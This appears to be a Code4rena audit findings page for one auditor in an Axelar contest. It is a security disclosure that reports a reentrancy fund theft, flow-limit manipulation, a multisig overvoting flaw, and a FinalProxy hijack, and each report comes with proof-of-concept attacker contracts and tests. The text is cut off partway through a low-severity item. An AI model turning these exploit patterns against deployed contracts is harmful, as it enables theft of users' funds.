Platform: Code4rena
Start Date: 12/07/2023
Pot Size: $80,000 USDC
Total HM: 11
Participants: 47
Period: 9 days
Judge: berndartmueller
Total Solo HM: 1
Id: 260
League: ETH
Rank: 1/47
Findings: 7
Award: $12,679.20
🌟 Selected for report: 2
🚀 Solo Findings: 0
🌟 Selected for report: immeas
Also found by: nobody2018
7066.8012 USDC - $7,066.80
A token transfer can be express delivered on behalf of another user, also when the call contains data to be executed:
File: its/interchain-token-service/InterchainTokenService.sol 467: function expressReceiveTokenWithData( // ... params 475: ) external { 476: if (gateway.isCommandExecuted(commandId)) revert AlreadyExecuted(commandId); 477: 478: address caller = msg.sender; 479: ITokenManager tokenManager = ITokenManager(getValidTokenManagerAddress(tokenId)); 480: IERC20 token = IERC20(tokenManager.tokenAddress()); 481: 482: SafeTokenTransferFrom.safeTransferFrom(token, caller, destinationAddress, amount); 483: 484: _expressExecuteWithInterchainTokenToken(tokenId, destinationAddress, sourceChain, sourceAddress, data, amount); 485: 486: _setExpressReceiveTokenWithData(tokenId, sourceChain, sourceAddress, destinationAddress, amount, data, commandId, caller); 487: }
The issue here is that check effects interactions is not followed.
There are a two of attack paths here with varying assumptions and originating parties:
expressReceiveTokenWithData
on demand with on-chain callAn attacker sends a large token transfer to a chain with a public mempool.
Once the attacker sees the call by Axelar to AxelarGateway::exectute
in the mempool they front run this call with a call to the third party providing expressReceiveTokenWithData
.
The third party (victim) transfers the tokens to the destinationAddress
contract. Attacker is now +amount
from this transfer.
expressExecuteWithInterchainToken
on the destinationAddress
contract does a call to AxelarGateway::exectute
(which can be called by anyone) to submit the report and then a reentry call to InterchainTokenService::execute
their commandId
. This performs the second transfer from the TokenManager
to the destinationAddress
(since the _setExpressReceiveTokenWithData
has not yet been called). Attacker contract is now +2x amount
, having received both the express transfer and the original transfer.
_setExpressReceiveTokenWithData
is set but this commandId
has already been executed. The victims funds has been stolen.
expressReceiveTokenWithData
off-chain.The operator does the same large transfer as described above. The operator then holds the update to AxelarGateway::execute
and instead sends these instructions to their malicious destinationContract
. When the expressReceiveTokenWithData
is called, this malicious contract will do the same pattern as described above. Call AxelarGateway::execute
then InterchainTokenService::execute
.
The same attacks could work for tokens with transfer callbacks (like ERC777) with just the expressReceiveToken
call as well.
With a very large cross chain token transfer a malicious party can use this to steal the same amount from the express receive executor.
If this fails, since it relies on front running and some timing, the worst thing that happens for the attacker is that the transfer goes through and they've just lost the transfer fees.
This makes some assumptions about how trusted an operator/reporter is and that there are possibilities to have expressReceiveTokens
to be called essentially on demand ("ExpressReceiveAsAService"). If these aren't valid please regard this as a low just noting the failure to follow checks-effects-interactions in expressReceiveToken
/WithData
.
The existence of expressReceive
implies though that there should be some kind of service providing this premium service for a fee.
Test in tokenService.js
:
it('attacker steals funds from express executor', async () => { const [token, tokenManager, tokenId] = await deployFunctions.lockUnlock(`Test Token Lock Unlock`, 'TT', 12, amount * 2); await token.transfer(tokenManager.address, amount); const expressPayer = (await ethers.getSigners())[5]; await token.transfer(expressPayer.address, amount); await token.connect(expressPayer).approve(service.address, amount); const commandId = getRandomBytes32(); const recipient = await deployContract(wallet, 'ExpressRecipient', [gateway.address,service.address,service.address.toLowerCase()]); const data = '0x' const payload = defaultAbiCoder.encode( ['uint256', 'bytes32', 'bytes', 'uint256', 'bytes', 'bytes'], [SELECTOR_SEND_TOKEN_WITH_DATA, tokenId, recipient.address, amount, service.address, data], ); const params = defaultAbiCoder.encode( ['string', 'string', 'address', 'bytes32', 'bytes32', 'uint256'], [sourceChain, sourceAddress, service.address, keccak256(payload), getRandomBytes32(), 0], ); await recipient.setData(params,commandId); // expressPayer express pays triggering the reentrancy await service.connect(expressPayer).expressReceiveTokenWithData( tokenId, sourceChain, service.address, recipient.address, amount, data, commandId, ); // recipient has gotten both the cross chain and express transfer expect(await token.balanceOf(recipient.address)).to.equal(amount*2); });
And its/test/ExpressRecipient.sol
:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { MockAxelarGateway } from './MockAxelarGateway.sol'; import { IInterchainTokenExpressExecutable } from '../interfaces/IInterchainTokenExpressExecutable.sol'; import { AxelarExecutable } from '../../gmp-sdk/executable/AxelarExecutable.sol'; import { AddressBytesUtils } from '../libraries/AddressBytesUtils.sol'; contract ExpressRecipient is IInterchainTokenExpressExecutable{ using AddressBytesUtils for address; bytes private params; MockAxelarGateway private gateway; AxelarExecutable private interchainTokenService; bytes32 private commandId; string private sourceAddress; constructor(MockAxelarGateway _gateway_, AxelarExecutable _its, string memory _sourceAddress) { gateway = _gateway_; interchainTokenService = _its; sourceAddress = _sourceAddress; } function setData(bytes memory _params, bytes32 _commandId) public { params = _params; commandId = _commandId; } function expressExecuteWithInterchainToken( string calldata sourceChain, bytes memory sadd, bytes calldata data, bytes32 tokenId, uint256 amount ) public { // this uses the mock call from tests but a real reporter would // have all data needed to make this call the proper way gateway.approveContractCall(params, commandId); bytes memory payload = abi.encode(uint256(2),tokenId,address(this).toBytes(),amount,sadd,data); // do the reentrancy and execute the transfer interchainTokenService.execute(commandId, sourceChain, sourceAddress, payload); } function executeWithInterchainToken(string calldata , bytes calldata , bytes calldata , bytes32 , uint256) public {} }
Manual audit
Consider doing _setExpressReceiveTokenWithData
before external calls.
Reentrancy
#0 - 0xSorryNotSorry
2023-07-24T11:32:25Z
The submission is a bit difficult to follow. Needs judge perusal prior relaying to the sponsors.
#1 - c4-pre-sort
2023-07-24T11:32:29Z
0xSorryNotSorry marked the issue as low quality report
#2 - berndartmueller
2023-09-01T10:09:51Z
Besides being very difficult to follow and understand, there are many assumptions on trust assumption violations.
Kindly invite the sponsor's thoughts on this. @deanamiel
#3 - c4-sponsor
2023-09-08T14:22:14Z
deanamiel (sponsor) confirmed
#4 - deanamiel
2023-09-08T14:22:51Z
This vulnerability has been addressed. See PR here
#5 - c4-judge
2023-09-08T16:16:16Z
berndartmueller marked the issue as primary issue
#6 - c4-judge
2023-09-08T16:19:11Z
berndartmueller marked the issue as selected for report
#7 - berndartmueller
2023-09-08T16:25:42Z
After a more thorough review, it is evident that the InterchainTokenService.expressReceiveTokenWithData
, and, under certain conditions such as the use of ERC-777 tokens, InterchainTokenService.expressReceiveToken
functions are vulnerable to reentrancy due to violating the CEI-pattern.
Consequently, funds can be stolen by an attacker from actors who attempt to fulfill token transfers ahead of time via the express mechanism. Thus, considering this submission as a valid high-severity finding.
Hats off to the wardens who spotted this vulnerability! 🏆
#8 - liveactionllama
2023-09-08T17:48:48Z
Per discussion with the judge (@berndartmueller), removing the low quality
label on their behalf.
🌟 Selected for report: bart1e
Also found by: immeas, nobody2018
978.4802 USDC - $978.48
When transferring tokens cross chain the TokenManager
can impose a flow limit. That can prevent large transfers in any direction from happening:
File: its/token-manager/TokenManager.sol 161: function giveToken(address destinationAddress, uint256 amount) external onlyService returns (uint256) { 162: amount = _giveToken(destinationAddress, amount); 163: _addFlowIn(amount); // <--- state change done after transfer 164: return amount; 165: }
_giveToken
in TokenManagerLockUnlock
(same issue applies to the other managers as well):
File: its/token-manager/implementations/TokenManagerLockUnlock.sol 60: function _giveToken(address to, uint256 amount) internal override returns (uint256) { 61: IERC20 token = IERC20(tokenAddress()); 62: uint256 balance = IERC20(token).balanceOf(to); 63: 64: SafeTokenTransfer.safeTransfer(token, to, amount); 65: 66: return IERC20(token).balanceOf(to) - balance; 67: }
If a token has a callback on transfer, the receiver can transfer more money into the account thus making the returned balance appear larger than what was actually transferred.
Since this amount is used to track the flow, the flow can be manipulated.
For tokens with callback functionality (like ERC777) a user can manipulate the flow recording system. Either to stop incoming transfers or use it to make sure they can transfer more amount out since opposite transfers cancel out each other.
It could also potentially cause issues for other contracts in IInterchainTokenExecutable::executeWithInterchainToken
as that relies on the amount
returned by _giveToken
.
Test in tokenService.js
it('fool FlowLimit with callback token', async () => { const callbackToken = await deployContract(wallet, 'CallbackToken'); const callbackTokenId = await service.getCanonicalTokenId(callbackToken.address); await service.registerCanonicalToken(callbackToken.address); const tokenManagerAddress = await service.getValidTokenManagerAddress(callbackTokenId); expect(tokenManagerAddress).to.not.equal(AddressZero); const tokenManager = new Contract(tokenManagerAddress, TokenManager.abi, wallet); const recipient = await deployContract(wallet, 'Recipient', [wallet.address, tokenManagerAddress]); // set flow limit to record flow await service.setFlowLimit([callbackTokenId],[amount*2]); await callbackToken.mint(wallet.address,amount); await callbackToken.mint(tokenManagerAddress,amount); await callbackToken.approve(recipient.address,amount); expect(await tokenManager.getFlowInAmount()).to.eq(0); // amount is sent const payload = defaultAbiCoder.encode( ['uint256', 'bytes32', 'bytes', 'uint256'], [SELECTOR_SEND_TOKEN, callbackTokenId, recipient.address, amount], ); const commandId = await approveContractCall(gateway, sourceChain, sourceAddress, service.address, payload); await expect(service.execute(commandId, sourceChain, sourceAddress, payload)); // due to callback transfer flow limit recorded double the transfer expect(await tokenManager.getFlowInAmount()).to.eq(amount*2); });
CallbackToken
and Recipient
in its/test/CallbackToken.sol
:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { ERC20 } from '../token-implementations/ERC20.sol'; contract Recipient { address private lender; address private tokenManager; constructor(address _lender, address _tokenManager) { lender = _lender; tokenManager = _tokenManager; } function callback(uint256 amount, address sender) external { if(sender == tokenManager) { ERC20(msg.sender).transferFrom(lender,address(this),amount); } } } contract CallbackToken is ERC20 { string public name = "TESTCALLBACK"; string public symbol = "TESTCALLBACK"; uint8 public decimals = 18; function mint(address to, uint256 amount) public { _mint(to,amount); } function _transfer( address sender, address recipient, uint256 amount ) internal override { if (sender == address(0) || recipient == address(0)) revert InvalidAccount(); balanceOf[sender] -= amount; balanceOf[recipient] += amount; (bool result, ) = recipient.call(abi.encodeWithSelector(Recipient.callback.selector, amount, sender)); require(result,"failed callback"); emit Transfer(sender, recipient, amount); } }
Manual audit
Follow checks effects interactions and record flow before doing _take/_giveToken
. This issue only affects _giveToken
but I recommend doing it on _takeToken
as well.
Token-Transfer
#0 - c4-pre-sort
2023-07-29T00:36:19Z
0xSorryNotSorry marked the issue as duplicate of #317
#1 - c4-judge
2023-09-01T10:24:22Z
berndartmueller marked the issue as not a duplicate
#2 - c4-judge
2023-09-01T10:25:30Z
berndartmueller marked the issue as primary issue
#3 - c4-judge
2023-09-01T10:25:45Z
berndartmueller marked the issue as selected for report
#4 - c4-judge
2023-09-01T10:27:05Z
berndartmueller marked the issue as not selected for report
#5 - c4-judge
2023-09-01T10:28:00Z
berndartmueller marked the issue as duplicate of #332
#6 - c4-judge
2023-09-01T10:28:09Z
berndartmueller marked the issue as satisfactory
🌟 Selected for report: Jeiwan
Also found by: 0xkazim, Emmanuel, KrisApostolov, T1MOH, Toshii, UniversalCrypto, Viktor_Cortess, immeas, libratus, nobody2018, qpzm
94.7708 USDC - $94.77
Cross chain proposals can contain instructions to send native value. InterchainProposalExecutor
then sends this value when doing the call to the target contract:
File: interchain-governance-executor/InterchainProposalExecutor.sol 76: (bool success, bytes memory result) = call.target.call{ value: call.value }(call.callData);
The issue is however that InterchainProposalExecutor
has no way to receive value so it will revert since there will not be any value in the contract.
If a proposal needed requires native value, InterchainProposalExecutor
will not be able to execute it, thus impeding on the functionality of the executor. Unless extraordinary methods (SELFDESTRUCT
/SENDALL
) are taken to fund the contract.
Test in in InterchainProposalExecutor.js
it('execute with value', async () => { await executor.setWhitelistedProposalCaller('ethereum', signerAddress, true); await executor.setWhitelistedProposalSender('ethereum', signerAddress, true); const callData = dummy.interface.encodeFunctionData('setState', ['Hello World']); const calls = [{ target: dummy.address, value: 100, // do call with value callData, }]; const payload = ethers.utils.defaultAbiCoder.encode( ['address', 'tuple(address target, uint256 value, bytes callData)[]'], [signerAddress, calls], ); // Transaction reverted: function selector was not recognized and there's no fallback nor receive function await expect(signer.sendTransaction({ to: executor.address, value: 100})).to.be.reverted; // call reverts as there is no eth in contract await expect(executor.forceExecute('ethereum', signerAddress, payload)) .to.be.revertedWithCustomError(executor,"ProposalExecuteFailed"); });
Manual audit
Consider adding a receive
function.
ETH-Transfer
#0 - c4-pre-sort
2023-07-29T00:04:42Z
0xSorryNotSorry marked the issue as duplicate of #319
#1 - c4-judge
2023-09-08T11:00:19Z
berndartmueller marked the issue as satisfactory
🌟 Selected for report: Jeiwan
Also found by: Toshii, immeas, pcarranzav
660.4741 USDC - $660.47
When sending tokens cross chain from the token contract a user can send tokens on behalf of another user with InterchainToken::interchainTransferFrom
. Similar to a ERC20::transferFrom
this uses the approval from another user to transfer tokens, but cross chain.
This is then passed through to TokenManager
:
File: its/interchain-token/InterchainToken.sol 104: tokenManager.transmitInterchainTransfer{ value: msg.value }(sender, destinationChain, recipient, amount, metadata);
Notice sender
as the first parameter.
Now, TokenManager::transmitInterchainTransfer
uses this and in turn passes this through to InterchainTokenService
:
File: its/token-manager/TokenManager.sol 129: /** 130: * @notice Calls the service to initiate the a cross-chain transfer after taking the appropriate amount of tokens from the user. This can only be called by the token itself. 131: * @param sender the address of the user paying for the cross chain transfer. <--- `sender` musn't be the one paying ... 135: */ 136: function transmitInterchainTransfer( 137: address sender, // <--- `sender` the one transferring tokens ... 142: ) external payable virtual onlyToken { 143: amount = _takeToken(sender, amount); 144: _addFlowOut(amount); 145: interchainTokenService.transmitSendToken{ value: msg.value }( 146: _getTokenId(), 147: sender, ... 152: ); 153: }
sender
here is not the one paying but the one who is supplying the tokens.
Further on, in InterchainTokenService
File: its/interchain-token-service/InterchainTokenService.sol 493: /** 494: * @notice Transmit a sendTokenWithData for the given tokenId. Only callable by a token manager. 495: * @param tokenId the tokenId of the TokenManager (which must be the msg.sender). 496: * @param sourceAddress the address where the token is coming from, which will also be used for reimburment of gas. // <--- here is where our `sender` is passed ... 501: */ 502: function transmitSendToken( 503: bytes32 tokenId, 504: address sourceAddress, // <--- `sender` ... 509: ) external payable onlyTokenManager(tokenId) notPaused { 510: bytes memory payload; 511: if (metadata.length < 4) { 512: payload = abi.encode(SELECTOR_SEND_TOKEN, tokenId, destinationAddress, amount); 513: _callContract(destinationChain, payload, msg.value, sourceAddress); 514: emit TokenSent(tokenId, destinationChain, destinationAddress, amount); 515: return; 516: } ... 521: _callContract(destinationChain, payload, msg.value, sourceAddress); 522: emit TokenSentWithData(tokenId, destinationChain, destinationAddress, amount, sourceAddress, metadata); 523: }
Finally in _callContract
, sourceAddress
where our erroneous sender
is passed as the refundee for the call:
File: its/interchain-token-service/InterchainTokenService.sol 700: /** 701: * @notice Calls a contract on a specific destination chain with the given payload ... 705: * @param refundTo The address where the unused gas amount should be refunded to 706: */ 707: function _callContract( ... 711: address refundTo // <--- `sender` 712: ) internal { 713: string memory destinationAddress = remoteAddressValidator.getRemoteAddress(destinationChain); 714: if (gasValue > 0) { 715: gasService.payNativeGasForContractCall{ value: gasValue }( ... 720: refundTo // <--- `sender` 721: ); 722: } 723: gateway.callContract(destinationChain, destinationAddress, payload); 724: }
As you can see, for InterchainToken::interchainTransferFrom
the holder of the tokens is erroneously refunded for gas not msg.sender
who is the one paying for the transfer.
When using InterchainToken::interchainTransferFrom
, gas refunds will be sent to the wrong address.
Test in tokenService.js
:
it('gas refund address wrong for interchainTransferFrom is wrong', async () => { const [token, tokenManager, tokenId] = await deployFunctions.lockUnlock(`Test Token Lock Unlock`, 'TT', 12, amount); const user = (await ethers.getSigners())[5]; await token.transfer(user.address,amount); await token.connect(user).approve(wallet.address,amount); const payload = defaultAbiCoder.encode( ['uint256', 'bytes32', 'bytes', 'uint256'], [SELECTOR_SEND_TOKEN, tokenId, destAddress, amount], ); const payloadHash = keccak256(payload); let transferToAddress = tokenManager.address; // wallet transfers on users behalf await expect(token.interchainTransferFrom(user.address,destChain, destAddress, amount, metadata, { value: gasValue })) .and.to.emit(token, 'Transfer') .withArgs(user.address, transferToAddress, amount) .and.to.emit(gateway, 'ContractCall') .withArgs(service.address, destChain, service.address.toLowerCase(), payloadHash, payload) .and.to.emit(gasService, 'NativeGasPaidForContractCall') // WRONG refundAddress should be `wallet` who paid for the transfer ↓↓↓↓ .withArgs(service.address, destChain, service.address.toLowerCase(), payloadHash, gasValue, user.address) .to.emit(service, 'TokenSent') .withArgs(tokenId, destChain, destAddress, amount); });
NativeGasPaidForContractCall
for reference:
event NativeGasPaidForContractCall( address indexed sourceAddress, string destinationChain, string destinationAddress, bytes32 indexed payloadHash, uint256 gasFeeAmount, address refundAddress // <--- refund address );
Manual audit
Add an extra paramter to transmitInterchainTransfer
who is the refundee and pass msg.sender
there for interchainTransferFrom
ETH-Transfer
#0 - 0xSorryNotSorry
2023-07-28T12:54:08Z
The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.
#1 - c4-pre-sort
2023-07-28T12:54:13Z
0xSorryNotSorry marked the issue as high quality report
#2 - c4-pre-sort
2023-07-29T00:21:42Z
0xSorryNotSorry marked the issue as duplicate of #316
#3 - c4-judge
2023-09-08T16:30:09Z
berndartmueller marked the issue as satisfactory
🌟 Selected for report: pcarranzav
Also found by: immeas
1630.8003 USDC - $1,630.80
If a contract with interchainTokenServiceAddress
is compromised it cannot be removed as this default is there, until an upgrade of RemoteAddressValidator
has happened which can be too late.
It also means that if another contract can get the same address as InterchainTokenService
on another chain the impact could be astronomical since that would give the malicious contract the ability to fake incoming transfers and empty all token managers. An example of how this can happen is the wintermute hack, where an attacker managed to get the same wallet address as the wintermute protocol.
In this case, that would enable an attacker to deploy a malicious contract to the InterchainTokenService
using Create3
which, looking at deploy.js
it looks like the protocol will do.
We don't know which accounts/wallets will deploy or which deploy methods are going to be used for InterchainTokenService
across different chains. Hence I'm bringing up this risk.
I categorize this as medium as the cost of making one mistake once here would be devastating. Even though the likelihood is minimal the fix is also simple.
When a remote call is made to InterchainTokenService
it goes into _execute
which has the onlyRemoteService
modifier. This in turn calls RemoteAddressValidator::validateSender
:
File: its/remote-address-validator/RemoteAddressValidator.sol 69: function validateSender(string calldata sourceChain, string calldata sourceAddress) external view returns (bool) { 70: string memory sourceAddressLC = _lowerCase(sourceAddress); 71: bytes32 sourceAddressHash = keccak256(bytes(sourceAddressLC)); 72: if (sourceAddressHash == interchainTokenServiceAddressHash) { // <-- default value accepted for 73: return true; // current chains ITS address 74: } 75: return sourceAddressHash == remoteAddressHashes[sourceChain]; 76: }
This compares the hash of the sourceAddress
of the call to what has been configured. It will also always accept the current chains InterchainTokenService
s address (interchainTokenServiceAddressHash
).
Having a default value here removes the possiblity to remove a trusted address if it is the the current chains InterchainTokenService
s address without an upgrade to the RemoteAddressValidator
.
Manual audit, rekt
Consider not using a default value for the critical security validation of which source contract the call is sent from. Instead set the address for the chain in question after it has been confirmed that the InterchainTokenService
has been deployed on that chain.
Invalid Validation
#0 - c4-pre-sort
2023-07-29T00:36:52Z
0xSorryNotSorry marked the issue as primary issue
#1 - c4-sponsor
2023-08-26T01:23:42Z
deanamiel marked the issue as sponsor disputed
#2 - deanamiel
2023-08-26T01:24:28Z
ITS will have the same address on all chains and will be deployed by the Axelar team. It would be impossible to deploy a different contract at this address because the address will depend on the deployer address and salt.
#3 - c4-judge
2023-09-04T09:13:15Z
berndartmueller marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2023-09-11T11:54:48Z
berndartmueller marked the issue as duplicate of #267
#5 - c4-judge
2023-09-11T12:01:54Z
berndartmueller marked the issue as satisfactory
🌟 Selected for report: pcarranzav
Also found by: immeas
1630.8003 USDC - $1,630.80
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/auth/MultisigBase.sol#L47-L72
When voting for an action signers are expected to call Multisig
with the call to be made to cast their vote:
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/auth/MultisigBase.sol#L47-L72
File: cgp/auth/MultisigBase.sol 47: bytes32 topic = keccak256(msg.data); 48: Voting storage voting = votingPerTopic[signerEpoch][topic]; ... 56: uint256 voteCount = voting.voteCount + 1; // <--- vote counted 57: 58: // Do not proceed with operation execution if insufficient votes. 59: if (voteCount < signers.threshold) { 60: // Save updated vote count. 61: voting.voteCount = voteCount; 62: return; 63: } 64: 65: // Clear vote count and voted booleans. 66: voting.voteCount = 0; // <--- vote count is reset 67: 68: uint256 count = signers.accounts.length; 69: 70: for (uint256 i; i < count; ++i) { 71: voting.hasVoted[signers.accounts[i]] = false; // <--- all voters are reset 72: }
Once enough votes are cast the action will be executed.
The issue here is that if more signers than needed vote, the superfluous votes will count to the next vote.
Imaging a Multisig
where there is 2/3. All three vote for a proposal. The proposal will pass at 2/3 then the last vote will vote for it again. Giving it 1/3 votes. Hence any of the initial two voters will be able to execute it again.
A vote can be passed with less votes than needed if the action was up for vote previously and more than needed signers voted.
Test in Multisig.js
:
it('second proposal can pass with less votes', async () => { const targetInterface = new Interface(['function callTarget() external']); const calldata = targetInterface.encodeFunctionData('callTarget'); const nativeValue = 0; // all three signers vote await multisig .connect(signer1) .execute(targetContract.address, calldata, nativeValue) .then((tx) => tx.wait()); // here the vote will be passed await multisig .connect(signer2) .execute(targetContract.address, calldata, nativeValue) .then((tx) => tx.wait()); // signer 3s vote is still being counted though await multisig .connect(signer3) .execute(targetContract.address, calldata, nativeValue) .then((tx) => tx.wait()); // time passes without a re-roll // next time, this vote can pass with less signers await expect( multisig .connect(signer1) .execute(targetContract.address, calldata, nativeValue, { value: nativeValue }) ).to.emit(targetContract,'TargetCalled', ); });
Manual audit
Consider adding a nonce to the topics so that the same isn't accidentally voted for again.
Governance
#0 - 0xSorryNotSorry
2023-07-24T11:42:09Z
The referenced mitigation is already implemented here :
function executeMultisigProposal( address target, bytes calldata callData, uint256 nativeValue ) external payable onlySigners { bytes32 proposalHash = keccak256(abi.encodePacked(target, callData, nativeValue)); @> if (!multisigApprovals[proposalHash]) revert NotApproved(); @> multisigApprovals[proposalHash] = false; _call(target, callData, nativeValue); emit MultisigExecuted(proposalHash, target, callData, nativeValue); }
#1 - c4-pre-sort
2023-07-24T11:42:14Z
0xSorryNotSorry marked the issue as low quality report
#2 - c4-judge
2023-08-30T13:32:55Z
berndartmueller marked the issue as satisfactory
#3 - berndartmueller
2023-08-30T13:36:23Z
The referenced mitigation is already implemented here :
function executeMultisigProposal( address target, bytes calldata callData, uint256 nativeValue ) external payable onlySigners { bytes32 proposalHash = keccak256(abi.encodePacked(target, callData, nativeValue)); @> if (!multisigApprovals[proposalHash]) revert NotApproved(); @> multisigApprovals[proposalHash] = false; _call(target, callData, nativeValue); emit MultisigExecuted(proposalHash, target, callData, nativeValue); }
In this case, the issue outlined in the submission is mitigated. However, if the called target contract does not have such a check in place, the proposal can be voted on again and possibly re-executed.
Requesting sponsor's feedback. @deanamiel
#4 - c4-sponsor
2023-09-07T20:10:32Z
deanamiel (sponsor) disputed
#5 - deanamiel
2023-09-07T20:12:39Z
It is the responsibility of the voters to check whether or not the proposal still exists before voting and we will have scripts to help perform these checks. Even if this did happen all the voters are trusted so another voter would not maliciously execute the same proposal twice.
#6 - berndartmueller
2023-09-08T10:34:39Z
In the context of the executeMultisigProposal
function, the outlined issue is mitigated by checking the multisig approval (multisigApprovals
) and ensuring it's only executed once.
The Multisig
contract also inherits from MultisigBase
, and the Multisig.execute
function allows calling any arbitrary target (once there are sufficient votes from the signers). This execute
function does not itself prevent executing a proposal multiple times. However, it is assumed that the signers are trusted (they are initially selected by the MultisigBase
or Multisig
contract deployer as part of the constructor
). If a significant portion of the signers turns malicious, they could execute a harmful proposal (potentially stealing funds) via the Multisig.execute
anyway, even with a check to prevent the consecutive execution of a proposal.
Thus, I'm invalidating the submission.
#7 - c4-judge
2023-09-08T10:34:48Z
berndartmueller marked the issue as unsatisfactory: Invalid
#8 - pcarranzav
2023-09-08T19:42:36Z
it is assumed that the signers are trusted
Isn't the purpose of a multisig not to trust individual signers or even N-1 signers, but only trust when N of them sign?
I would argue that a multisig meets it's purpose if and only if the configured threshold is the absolute minimum number of signers that must be compromised to execute a proposal maliciously. The fact that overvotes can leave a spurious proposal with N-1 votes being sufficient for execution breaks one of the core assumptions when using a multisig.
(I'd also note https://github.com/code-423n4/2023-07-axelar-findings/issues/116 and https://github.com/code-423n4/2023-07-axelar-findings/issues/245 could be considered duplicates - impact descriptions are slightly different but the underlying issue is the same)
#9 - c4-judge
2023-09-12T08:42:10Z
berndartmueller marked the issue as duplicate of #116
#10 - c4-judge
2023-09-12T08:42:17Z
berndartmueller changed the severity to 2 (Med Risk)
#11 - c4-judge
2023-09-12T08:42:23Z
berndartmueller marked the issue as satisfactory
#12 - berndartmueller
2023-09-12T09:10:25Z
#13 - deanamiel
2023-09-12T15:45:35Z
Perhaps for a generic multi-sig in which signers are not trusted this would be true. However, for the multi-sig that we have designed for our governance purposes, signers will be part of Axelar governance and therefore will be trusted. It is the signer's responsibility to ensure that a proposal exists before voting on it. We still wish to dispute validity.
#14 - berndartmueller
2023-09-12T16:04:31Z
Perhaps for a generic multi-sig in which signers are not trusted this would be true. However, for the multi-sig that we have designed for our governance purposes, signers will be part of Axelar governance and therefore will be trusted. It is the signer's responsibility to ensure that a proposal exists before voting on it. We still wish to dispute validity.
I understand your point. Nevertheless, overvoting is possible (even if not done with malicious intent), and it can be fixed to prevent any future, while unlikely, issue.
I acknowledge that the sponsor disagrees with the validity. The validity and severity are certainly close to being invalid and QA, respectively. Still, I lean more towards being valid and Medium severity.
🌟 Selected for report: immeas
Also found by: Bauchibred, DavidGiladi, Emmanuel, Jeiwan, MohammedRizwan, MrPotatoMagic, Rolezn, Sathish9098, T1MOH, Udsen, banpaleo5, hals, matrix_0wl, naman1778
617.0774 USDC - $617.08
id | title |
---|---|
L-01 | FinalProxy can be hijacked by vulnerable implementation contract |
L-02 | A users tokens can be stolen if they don't control msg.sender address on all chains |
L-03 | no event emitted when a vote is cast in MultisigBase |
L-04 | InterchainTokenService non-remote deploy calls accept eth but are not using it |
L-05 | default values for deployAndRegisterStandardizedToken can make it complicated for third party implementers |
L-06 | InterchainTokenServiceProxy is FinalProxy |
L-07 | low level call will always succeed for non existent addresses |
L-08 | InterchainTokenService::getImplementation returns address(0) for invalid types |
L-09 | consider a two way transfer of governance |
L-10 | consider a two way transfer of operator and distributor |
id | title |
---|---|
S-01 | consider adding a version to upgradable contracts |
id | title |
---|---|
R-01 | sourceAddress means two different things in InterchainTokenService |
R-02 | InterchainTokenService::_validateToken could have a more descriptive name |
R-03 | AxelarGateway::onlyMintLimiter could have a more descriptive name |
id | title |
---|---|
NC-01 | RemoteAddressValidator::_lowerCase will not work for Solana addresses |
NC-02 | InterchainGovernance can be abstract |
NC-03 | eta in ProposalCancelled event can be missleading |
NC-04 | incomplete natspec |
NC-05 | erroneous comments |
NC-06 | typos and misspellings |
FinalProxy
can be hijacked by vulnerable implementation contractFinalProxy
is a proxy that can be upgraded but if owner
calls finalUpgrade
it will deploy the final upgrade using Create3
and it can no longer be upgraded.
To determine if it has gotten the final upgrade or not the function _finalImplementation
is done:
File: gmp-sdk/upgradable/FinalProxy.sol 18: bytes32 internal constant FINAL_IMPLEMENTATION_SALT = keccak256('final-implementation'); ... 57: function _finalImplementation() internal view virtual returns (address implementation_) { 58: /** 59: * @dev Computing the address is cheaper than using storage 60: */ 61: implementation_ = Create3.deployedAddress(address(this), FINAL_IMPLEMENTATION_SALT); 62: 63: if (implementation_.code.length == 0) implementation_ = address(0); 64: }
The issue is that if the implementation supports deploying with Create3
a user could use the salt (keccak256('final-implementation')
) and deploy a final implementation without calling finalImplementation
. Since Create3
only uses msg.sender
and salt
to determine the address.
InterchainTokenService
which is the only implementation in scope using FinalProxy
does however not appear to be vulnerable to this, since all the salts used for deploys are calculated, not supplied. But future implementations/other contracts using FinalProxy
might be.
Test in proxy.js
:
it('vulnerable FinalProxy implementation', async () => { const vulnerableDeployerFactory = await ethers.getContractFactory('VulnerableDeployer', owner); const maliciousContractFactory = await ethers.getContractFactory('MaliciousContract', owner); const vulnerableImpl = await vulnerableDeployerFactory.deploy().then((d) => d.deployed()); const proxy = await finalProxyFactory.deploy(vulnerableImpl.address, owner.address, '0x').then((d) => d.deployed()); expect(await proxy.isFinal()).to.be.false; const vulnerable = new Contract(await proxy.address, VulnerableDeployer.abi, owner); // steal final-implementation salt const salt = keccak256(toUtf8Bytes('final-implementation')); // someone deploys to the final-implementation address const bytecode = await maliciousContractFactory.getDeployTransaction().data; await vulnerable.vulnerableDeploy(salt,bytecode); // proxy is final without calling finalUpgrade expect(await proxy.isFinal()).to.be.true; const malicious = new Contract(await proxy.address, MaliciousContract.abi, owner); expect(await malicious.maliciousCode()).to.equal(4); });
VulnerableDeployer.sol
:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { Create3 } from '../deploy/Create3.sol'; contract MaliciousContract { function setup(bytes calldata params) external {} function maliciousCode() public pure returns(uint256) { return 4; } } contract VulnerableDeployer { function setup(bytes calldata params) external {} function vulnerableDeploy(bytes32 salt, bytes memory bytecode) public returns(address ) { return Create3.deploy(salt, bytecode); } }
Have the user deploy the final implementation and then upgrade to it without using Create3. That way a vulnerable implementation contract cannot be abused and taken over.
msg.sender
address on all chainsWhen a user wants to register a token for use across chains they first call InterchainTokenService::deployAndRegisterStandardizedToken
on the "local" chain. This will use a user provided salt together with the msg.sender
to create the tokenId
which is used as the salt to create both the StandardizedToken
and the TokenManager
.
They can then use this to deploy their token to any chain that Axelar supports.
Relying on msg.sender
across chain comes with some security considerations though. If the user/protocol don't control the address used as msg.sender
across all chains that are supported by Axelar ITS to they are susceptible to the same hack that affected wintermute. Where an old gnosis wallet was used which had an address that could be stolen on another chain.
If an attacker controls the msg.sender
address on another chain they can simply create a token and manager with the same salt that they control. This will give them the same tokenId
. They can then send a message to the chain where the real token is and get funded real tokens. All they've done is burn/lock their fake token on their sourceChain
.
I recommend this is highlighted as a risk in the documentation so third party protocols building on top of Axelar are aware of this risk.
MultisigBase
To vote in MultisigBase
